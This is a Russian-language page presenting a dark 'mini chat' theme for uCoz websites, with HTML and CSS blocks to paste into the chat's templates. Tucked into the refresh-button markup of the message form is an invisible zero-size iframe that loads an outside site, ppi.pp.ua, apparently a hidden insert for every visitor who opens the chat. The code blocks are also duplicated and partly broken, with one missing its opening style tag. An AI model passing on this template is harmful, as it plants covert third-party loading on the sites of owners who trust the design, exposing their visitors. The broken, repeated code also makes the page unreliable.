Тёмный мини чат для ucoz выполненный в новом стиле - таких я раньше не видел! Этот мини чат для ucoz отлично украсит дизайн вашего сайта!
Установка:
В вид материалов мини чата ставим вот это:
Code
<div class="cBlock" style="padding:0 4px 5px 2px;margin-bottom:3px;">
<div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>
<div style="text-align:left;">
<center><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><img src="http://s18.ucoz.net/img/icon/profile.png" width="13" border="0" style="vertical-align:-2px"/></a>
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></center>
<a href="$EMAIL_JS$" title="$STR_EMAIL$"><img border="0" align="absmiddle" src="http://s18.ucoz.net/t/281/e.gif"></a>
<a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$"><img border="0" align="absmiddle" src="http://s18.ucoz.net/t/281/h.gif"></a>
</div>
<div class="cMessage" style="text-align:left;">$MESSAGE$</div>
<br>$STR_CUSTOM1$: $CUSTOM1$
<br>$STR_CUSTOM2$: $CUSTOM2$
<center><img src="http://allforpc.3dn.ru/sep.png"></center>
</div>
<div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>
<div style="text-align:left;">
<center><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><img src="http://s18.ucoz.net/img/icon/profile.png" width="13" border="0" style="vertical-align:-2px"/></a>
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></center>
<a href="$EMAIL_JS$" title="$STR_EMAIL$"><img border="0" align="absmiddle" src="http://s18.ucoz.net/t/281/e.gif"></a>
<a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$"><img border="0" align="absmiddle" src="http://s18.ucoz.net/t/281/h.gif"></a>
</div>
<div class="cMessage" style="text-align:left;">$MESSAGE$</div>
<br>$STR_CUSTOM1$: $CUSTOM1$
<br>$STR_CUSTOM2$: $CUSTOM2$
<center><img src="http://allforpc.3dn.ru/sep.png"></center>
</div>
В форму добавления сообщений мини чата ставим вот это:
Code
<style type="text/css">
#mchatBtn {background: #2663A7; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #E7F6FF; cursor: pointer;}
#mchatBtn:hover {background: #2B6FBB; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #FFFFFF; cursor: pointer;}
#mchatMsgF {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
#mchatNmF {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
#secuCodeMc3 {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
.btns {background: #777777; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #FFFFFF; cursor: pointer;}
.btns:hover {background: #414141; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #9E9E9E; cursor: pointer;}
#rules {background: #550000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFFFFF; cursor: pointer;}
#rules:hover {background: #940000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFF9D7; cursor: pointer;}
</style>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<td width="70%" align="center">
<input type="button" value="$MAX_MESSAGE_LEN$" title="Максимальная длина сообщений" class="btns">
<a href="$RELOAD_URI$"><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><input type="button" value="Обновить" title="Обновить чат" class="btns"></a>
<a href="$MSGCTRL_URI$"><input type="button" value="Архив" title="Контроль над сообщениями" class="btns"></a>
</td></tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="95%" rowspan="2">$FLD_MESSAGE$</td>
</tr>
<td align="center" valign="center"><div style="width:40px"><input type="submit" value="OK" class="btns" style="height:40px;width:40px;"></div></td></tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<td align="center" valign="center">
<a href="$SMILES_URI$"><input type="button" value="Смайлики" title="Смайлики" class="btns"></a>
<a href="$BBCODES_URI$"><input type="button" value="ВВ Коды" title="Дополнительные коды" class="btns"></a>
</td>
</tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>
#mchatBtn {background: #2663A7; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #E7F6FF; cursor: pointer;}
#mchatBtn:hover {background: #2B6FBB; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #FFFFFF; cursor: pointer;}
#mchatMsgF {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
#mchatNmF {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
#secuCodeMc3 {background:url('/img/mchatbg.png') #E1E1E1; width: 100%; height: 25; border:1px solid #BBBBBB; padding: 5; color: #242424;}
.btns {background: #777777; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #FFFFFF; cursor: pointer;}
.btns:hover {background: #414141; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #9E9E9E; cursor: pointer;}
#rules {background: #550000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFFFFF; cursor: pointer;}
#rules:hover {background: #940000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFF9D7; cursor: pointer;}
</style>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<td width="70%" align="center">
<input type="button" value="$MAX_MESSAGE_LEN$" title="Максимальная длина сообщений" class="btns">
<a href="$RELOAD_URI$"><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><input type="button" value="Обновить" title="Обновить чат" class="btns"></a>
<a href="$MSGCTRL_URI$"><input type="button" value="Архив" title="Контроль над сообщениями" class="btns"></a>
</td></tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="95%" rowspan="2">$FLD_MESSAGE$</td>
</tr>
<td align="center" valign="center"><div style="width:40px"><input type="submit" value="OK" class="btns" style="height:40px;width:40px;"></div></td></tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<td align="center" valign="center">
<a href="$SMILES_URI$"><input type="button" value="Смайлики" title="Смайлики" class="btns"></a>
<a href="$BBCODES_URI$"><input type="button" value="ВВ Коды" title="Дополнительные коды" class="btns"></a>
</td>
</tr></table>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>
Готово.
Другие новости |
Поделиться ссылкой
|
|
Скрин сделай